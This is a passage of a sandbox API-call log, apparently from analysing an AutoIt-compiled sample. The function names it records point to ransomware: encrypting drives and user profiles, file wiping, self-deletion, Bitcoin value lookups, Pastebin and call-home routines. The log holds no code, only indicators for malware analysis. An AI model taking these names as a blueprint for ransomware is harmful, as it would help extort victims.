lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0042.464] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0042.464] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0042.464] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0042.464] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0042.464] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0042.464] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0042.464] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0042.465] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0042.465] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0042.465] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0042.465] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0042.465] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0042.465] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0042.465] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0042.465] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0042.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0042.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0042.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0042.465] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0042.466] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0042.466] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0042.466] CharUpperBuffW (in: lpsz="START_THE_SHOW", cchLength=0xe | out: lpsz="START_THE_SHOW") returned 0xe [0042.466] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0042.466] CharUpperBuffW (in: lpsz="ENCRYPT_DRIVES", cchLength=0xe | out: lpsz="ENCRYPT_DRIVES") returned 0xe [0042.466] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0042.466] CharUpperBuffW (in: lpsz="DECRYPT_DRIVES", cchLength=0xe | out: lpsz="DECRYPT_DRIVES") returned 0xe [0042.466] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0042.466] CharUpperBuffW (in: lpsz="ENCRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="ENCRYPT_USERPROFILES") returned 0x14 [0042.466] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0042.466] CharUpperBuffW (in: lpsz="DECRYPT_USERPROFILES", cchLength=0x14 | out: lpsz="DECRYPT_USERPROFILES") returned 0x14 [0042.466] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0042.466] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0042.466] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0042.466] CharUpperBuffW (in: lpsz="_DECRYPT", cchLength=0x8 | out: lpsz="_DECRYPT") returned 0x8 [0042.466] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0042.466] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0042.467] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0042.467] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0042.467] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0042.467] CharUpperBuffW (in: lpsz="_RUNCMD", cchLength=0x7 | out: lpsz="_RUNCMD") returned 0x7 [0042.467] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0042.467] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0042.467] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.467] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0042.467] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0042.467] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0042.467] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0042.467] CharUpperBuffW (in: lpsz="_ASH_USERKEY_DETECT", cchLength=0x13 | out: lpsz="_ASH_USERKEY_DETECT") returned 0x13 [0042.467] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0042.467] CharUpperBuffW (in: lpsz="SUICIDE", cchLength=0x7 | out: lpsz="SUICIDE") returned 0x7 [0042.467] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0042.467] CharUpperBuffW (in: lpsz="STARTUP", cchLength=0x7 | out: lpsz="STARTUP") returned 0x7 [0042.467] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0042.467] CharUpperBuffW (in: lpsz="PASSWORD_GENERATOR", cchLength=0x12 | out: lpsz="PASSWORD_GENERATOR") returned 0x12 [0042.467] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0042.467] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0042.467] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0042.467] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0042.467] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0042.467] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0042.467] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0042.467] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0042.467] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0042.468] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0042.468] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0042.468] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0042.468] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0042.468] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0042.468] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0042.468] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0042.468] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0042.468] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0042.468] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0042.468] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0042.468] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0042.468] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0042.469] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0042.469] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0042.469] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0042.469] AllocateAndInitializeSid (in: pIdentifierAuthority=0xa96acafd88, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xa96acafd90 | out: pSid=0xa96acafd90) returned 1 [0042.469] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xa96aecaa60, IsMember=0xa96acafd80 | out: IsMember=0xa96acafd80) returned 1 [0042.469] GetSysColorBrush (nIndex=15) returned 0x1100074 [0042.469] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0042.469] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x7020f [0042.470] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0x15020b [0042.471] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x8001a7 [0042.471] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x170193 [0042.471] RegisterClassExW (param_1=0xa96acafd20) returned 0xc142 [0042.471] GetSysColorBrush (nIndex=15) returned 0x1100074 [0042.471] RegisterClassExW (param_1=0xa96acafc90) returned 0xc143 [0042.471] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0042.471] InitCommonControlsEx (picce=0xa96acafcf8) returned 1 [0042.472] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0xa96ad91900 [0042.472] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x2b0183 [0042.472] ImageList_ReplaceIcon (himl=0xa96ad91900, i=-1, hicon=0x2b0183) returned 0 [0042.473] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x8002c [0042.473] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x24, wParam=0x0, lParam=0xa96acaf770) returned 0x0 [0042.473] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x81, wParam=0x0, lParam=0xa96acaf720) returned 0x1 [0042.475] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x83, wParam=0x0, lParam=0xa96acaf790) returned 0x0 [0042.477] SetTimer (hWnd=0x8002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0042.477] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0042.477] CreatePopupMenu () returned 0x80093 [0042.478] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x8002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x9018c [0042.485] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x210, wParam=0x10001, lParam=0x9018c) returned 0x0 [0042.485] ShowWindow (hWnd=0x8002c, nCmdShow=0) returned 0 [0042.485] ShowWindow (hWnd=0x8002c, nCmdShow=0) returned 0 [0042.485] Shell_NotifyIconW (dwMessage=0x0, lpData=0xa96acaf9a0) returned 1 [0042.492] Shell_NotifyIconW (dwMessage=0x1, lpData=0xa96acaf5a0) returned 1 [0042.492] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0042.492] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0042.492] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0042.492] NtdllDefWindowProc_W (hWnd=0x8002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0042.492] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.492] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.492] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0042.492] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.492] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0042.492] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.492] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.493] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.493] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.493] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.493] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.493] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.493] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.493] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0042.493] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.494] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.495] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.495] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.495] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.495] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.495] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.495] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.495] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.496] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0042.497] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 